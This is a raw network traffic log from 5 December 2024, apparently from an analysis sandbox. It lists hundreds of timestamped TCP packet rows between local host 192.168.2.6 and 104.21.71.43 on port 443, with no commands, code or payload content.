Dec 5, 2024 15:04:48.632462025 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.785674095 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.785698891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.785799980 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.785810947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.785852909 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.791352987 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.791373014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.791470051 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.791477919 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.791517019 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.797132015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.797152996 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.797213078 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.797223091 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.797261953 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.802292109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.802314043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.802378893 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.802386999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.802424908 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.808376074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.808398962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.808474064 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.808482885 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.808517933 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.813375950 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.813397884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.813455105 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.813462019 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.813500881 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.819169044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.819186926 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.819291115 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.819298983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.819343090 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.824975967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.825023890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.825114012 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.825120926 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.825160027 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.985804081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.985837936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.986011982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.986030102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.986078024 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.991825104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.991848946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.991914034 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.991921902 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.991970062 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.997267962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.997286081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.997374058 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.997381926 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.997422934 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.002418995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.002456903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.002521038 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.002528906 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.002569914 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.008479118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.008503914 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.008609056 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.008615017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.008661032 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.013607025 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.013626099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.013664961 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.013672113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.013700962 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.013719082 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.019365072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.019381046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.019422054 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.019434929 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.019448042 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.019474030 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.025116920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.025132895 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.025192022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.025198936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.025248051 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.178036928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.178066969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.178200006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.178211927 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.178252935 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.183739901 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.183757067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.183818102 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.183826923 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.183866024 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.189403057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.189418077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.189474106 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.189485073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.189523935 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.195259094 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.195276022 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.195360899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.195369005 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.195410967 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.200638056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.200656891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.200752974 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.200759888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.200809002 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.205749989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.205770016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.205862045 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.205869913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.205921888 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.211606979 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.211625099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.211687088 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.211694002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.211738110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.217233896 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.217258930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.217334032 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.217346907 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.217402935 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.370562077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.370582104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.370702982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.370713949 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.370759010 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.375642061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.375659943 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.375720978 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.375736952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.375771046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.381558895 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.381575108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.381642103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.381650925 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.381691933 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.387218952 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.387233973 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.387294054 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.387303114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.387340069 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.392554045 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.392569065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.392633915 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.392642021 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.392678976 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.398449898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.398466110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.398520947 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.398529053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.398569107 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.403476954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.403493881 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.403548002 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.403556108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.403594971 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.409249067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.409264088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.409324884 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.409332991 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.409373999 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.608846903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.608869076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.608942986 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.608958960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.609003067 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.616353989 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.616415977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.616422892 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.616430044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.616478920 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.620131969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.620192051 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.620193958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.620207071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.620254040 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.625513077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.625533104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.625619888 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.625627995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.625674009 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.631822109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.631889105 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.632203102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.632307053 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.632327080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.637012959 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.637056112 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.637115002 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.637120962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.637181997 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.641957045 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.641976118 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.642019987 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.642025948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.642066956 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.642085075 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.647849083 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.647869110 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.647918940 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.647927999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.647954941 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.647981882 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.797050953 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.797197104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.802229881 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.802247047 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.802355051 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.802364111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.807971001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.807992935 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.808051109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.808059931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.808089972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.813785076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.813824892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.813880920 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.813891888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.813905954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.818841934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.818860054 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.818919897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.818928003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.824273109 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.824287891 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.824350119 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.824358940 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.830086946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.830106020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.830148935 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.830157042 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.830183983 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.835813999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.835836887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.835881948 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.835891962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.835927010 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.880050898 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.989399910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.989408970 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.989451885 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.989505053 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.989527941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.989561081 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.989574909 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.994476080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.994491100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.994558096 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:49.994565010 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:49.994601011 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.000289917 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.000310898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.000402927 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.000408888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.000457048 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.006002903 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.006051064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.006077051 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.006083012 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.006108999 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.006128073 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.011066914 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.011081934 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.011135101 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.011141062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.011183023 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.017270088 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.017287970 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.017344952 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.017350912 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.017390966 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.022347927 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.022362947 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.022437096 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.022443056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.022480965 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.028080940 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.028100014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.028157949 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.028165102 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.028211117 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.182965994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.182987928 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.183057070 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.183078051 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.183092117 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.183124065 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.188057899 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.188076973 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.188124895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.188144922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.188158989 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.188195944 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.193876028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.193891048 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.193942070 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.193947077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.193974972 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.194000006 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.199549913 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.199565887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.199632883 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.199639082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.199686050 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.205375910 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.205391884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.205449104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.205454111 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.205495119 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.210777998 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.210792065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.210877895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.210884094 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.210930109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.215884924 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.215902090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.215969086 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.215974092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.216018915 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.221723080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.221740007 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.221796989 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.221803904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.221847057 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.375235081 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.375255108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.375387907 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.375396967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.375442028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.381026030 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.381041050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.381112099 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.381124973 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.381165028 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.386121035 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.386137009 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:50.386193991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:50.386199951 CET	443	49906	104.21.71.43	192.168.2.6
